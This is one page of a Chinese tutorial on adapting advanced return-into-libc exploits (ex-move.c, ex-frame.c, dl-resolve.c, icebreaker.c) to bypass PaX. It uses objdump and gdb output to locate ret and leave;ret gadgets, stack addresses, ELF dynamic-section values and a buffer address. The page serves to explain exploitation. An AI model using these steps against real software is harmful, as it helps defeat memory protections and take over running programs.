转至繁体中文版     | 网站首页 | 图文教程 | 资源下载 | 站长博客 | 图片素材 | 武汉seo | 武汉网站优化 | 
最新公告:     敏韬网|教学资源学习资料永久免费分享站!  [mintao  2008年9月2日]        
您现在的位置: 学习笔记 >> 图文教程 >> 软件使用 >> 系统软件 >> 正文
高级返回库函数exploit代码实现         

高级返回库函数exploit代码实现

作者:闵涛 文章来源:闵涛的学习笔记 点击数:7961 更新时间:2009/4/25 0:45:30
编程序vuln.omit中ret部分)
...省略一些无关输出
--
 80484be:       83 c4 2c                add    $0x2c,%esp
 ~~~~~~~~(这是出栈前,add指令中的栈指针地址)   ~~~~~~(POPNUM的数值) 80484c1:       c3                      ret
~~~~~~~~~("ret"指令的地址)
--
 80484fe:       5d                      pop    %ebp
 80484ff:       c3                      ret
--
...省略一些无关输出

5) FRAMES
现在我们要找出,在堆栈溢出发生后,堆栈指针的数值。我们要做的事情是让有缺陷的程序vuln.omit发生段错误(core dumped),通过产生的core文件调试该缺陷程序,以获得FRAMES的预定义数值。我们的exploit代码ex-move.c中的参数"testing"将0x5060708保存在指令指针中,我们只需要这样做:
[nergal@behemoth pax]$ ./ex-move testing
Segmentation fault (core dumped) <------------- 发生了溢出,进行下一步gbd
[nergal@behemoth pax]$ gdb ./vuln.omit core 
(no debugging symbols found)...
Core was generated by ./vuln.omit''''.
Program terminated with signal 11, Segmentation fault.
#0  0x5060708 in ?? ()
      ~~~~~~~~~(和ex-move的指令指针数值一样,如果该数值大于了0x5060708,意味着需要调整堆栈,同时exploit代码ex-move.c中定义结构体ov中的数组"scratch"需要做一定的调整。)
(gdb) info regi(*显示寄存器中的数值)
...
esp            0xbffffde0       0xbffffde0
                                ~~~~~~~~~~(堆栈指针数值:这就是我们要找的FEAMES数值)
...
经过一番曲折,总算完成了exploit代码ex-move.c中的预定义。
现在来看攻击没有使用最优化选项编译的缺陷程序的exploit代码:ex-frame.c

II. ex-frame.c
~~~~~~~~~~~~~~  
哇靠,还要做调整阿,废话:)LIBC, STRCPY, MMAP, LEAVERET 和FRAMES需要适当调整,和ex-move.c中方法差不多,LIBC,STRCPY, MMAP 以及 FRAMES也是这样。
LEAVERET的地址是"leave; ret"指令序列的地址。找它的方法和前面一样,同样使用objdump --disassemble 命令。
[nergal@behemoth pax]$ objdump --disassemble vuln|grep leave -A 1
objdump: vuln: no symbols
 8048335:       c9                      leave
 8048336:       c3                      ret
--
 80484bd:       c9                      leave
 ~~~~~~~(由3.3节帧伪造可以知道第2帧的leave地址是我们需要的)
 80484be:       c3                      ret
--
 8048518:       c9                      leave
 8048519:       c3                      ret


III. dl-resolve.c
~~~~~~~~~~~~~~~~~
需要对代码中预定义的STRTAB, SYMTAB, JMPREL, VERSYM 和PLT_SECTION常数数值进行调整
由于dl-resolve.c2进制本身关系 ,需要进行两次编译。第一次编译,我们只需#define dummy 值。然后打入下面命令:
[nergal@behemoth pax]$ objdump -x dl-resolve
        输出下面的信息(动态符号表、串表,重定位入口,etc):
[...无关信息...]
动态段区域:
  NEEDED      libc.so.6
  INIT        0x804839c
  FINI        0x80486ec
  HASH        0x8048128
  STRTAB      0x8048240   (得到串表STRTAB地址)
  SYMTAB      0x8048170   (得到符号表SYMTAB地址)
  STRSZ       0xa1
  SYMENT      0x10
  DEBUG       0x0
  PLTGOT      0x80497a8
  PLTRELSZ    0x48
  PLTREL      0x11
  JMPREL      0x8048354   (得到JMPREL地址,和PLT地址有关联)
  REL         0x8048344
  RELSZ       0x10
  RELENT      0x8
  VERNEED     0x8048314
  VERNEEDNUM  0x1
  VERSYM      0x80482f8   (得到VERSYM符号版本地址)

       
"objdump -x"命令输出过程连接表(PLT)段区域
[...无关信息...]
段区域:
  索引名称            Size      VMA       LMA       File off  Algn
  0 .interp中断段    00000013  080480f4  080480f4  000000f4  2**0
...
 11 .plt过程连接表段 000000a0  080483cc  080483cc  000003cc  2**2
                              ~~~~|~~~~~~~~~~~~~~                               
                                  --该地址为plt入口地址,得到预定义PLT_SECTION数值
                    CONTENTS, ALLOC, LOAD, READONLY, CODE
再次编译代码dl-resolve.c ,最后我们可以看到象下面:
old_mmap(0xaa011000, 16846848, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0x1011000) = 0xaa011000
_exit(123)                              = ?    
这样,mmap()被调用,虽然它不在dl-resolve.c的PLT入口。当然我们可以增加到shellcode中执行,但是没有多大必要对只是证明该理论而编写。

IV. icebreaker.c
~~~~~~~~~~~~~~~~
9个预定义需要被调整,两个固定:FRAMESINDATA 和 VIND.
1) FRAMESINDATA
这是定位或者从内存中划分伪造帧拷贝的静态变量,在pax.c,我们需要找到"bigbuf"数组的地址,如果被攻击的2进制文件没有被脱壳,那么很容易得到该地址,反之,我们必须分析反汇编的输出,在pax.c中13行,"bigbuf"变量在"strncat"函数的参数中出现,如下:
strncat(bigbuf, ptr, sizeof(bigbuf)-1);
那么,我们需要找到strncat函数地址:
[nergal@behemoth pax]$ objdump -T pax | grep strncat
0804836c      DF *UND*  0000009e  GLIBC_2.0   strncat
~~~~~~~~(strncat 函数地址)
[nergal@behemoth pax]$ objdump -d pax|grep 804836c -B 3  <- _not_ 0804836c(*反汇编pax,通过strncat地址,找到bigbuf的地址)
objdump: pax: no symbols
 8048362:       ff 25 c8 95 04 08       jmp    *0x80495c8
 8048368:       00 00                   add    %al,(%eax)
&n

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]  ...  下一页 >> 


[办公软件]在sybase中插入图片、PDF、文本文件  [办公软件]安装Sybase ASE
[办公软件]linux指令大全(完整篇)  [办公软件]Linux新手入门常用命令大全
[办公软件]在RedHat Linux 9里安装gaim0.80  [办公软件]浅谈Linux 下Java 1.5 汉字方块问题解决方法
[办公软件]Linux程序员必读:中文化与GB18030标准  [办公软件]linux指令大全
[办公软件]制作Linux启动盘的四种方法  [办公软件]Linux文件系统的反删除方法
教程录入:mintao    责任编辑:mintao 
  • 上一篇教程:

  • 下一篇教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    同类栏目
    · 办公软件  · 系统软件
    · 常用软件  · 聊天工具
    更多内容
    热门推荐 更多内容
  • 没有教程
  • 赞助链接
    更多内容
    闵涛博文 更多关于武汉SEO的内容
    500 - 内部服务器错误。

    500 - 内部服务器错误。

    您查找的资源存在问题,因而无法显示。

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007-2012 敏韬网(敏而好学,文韬武略--MinTao.Net)(学习笔记) Inc All Rights Reserved.
    闵涛 投放广告、内容合作请Q我! E_mail:admin@mintao.net(欢迎提供学习资源)

    站长:MinTao ICP备案号:鄂ICP备11006601号-18

    闵涛站盟:医药大全-武穴网A打造BCD……
    咸宁网络警察报警平台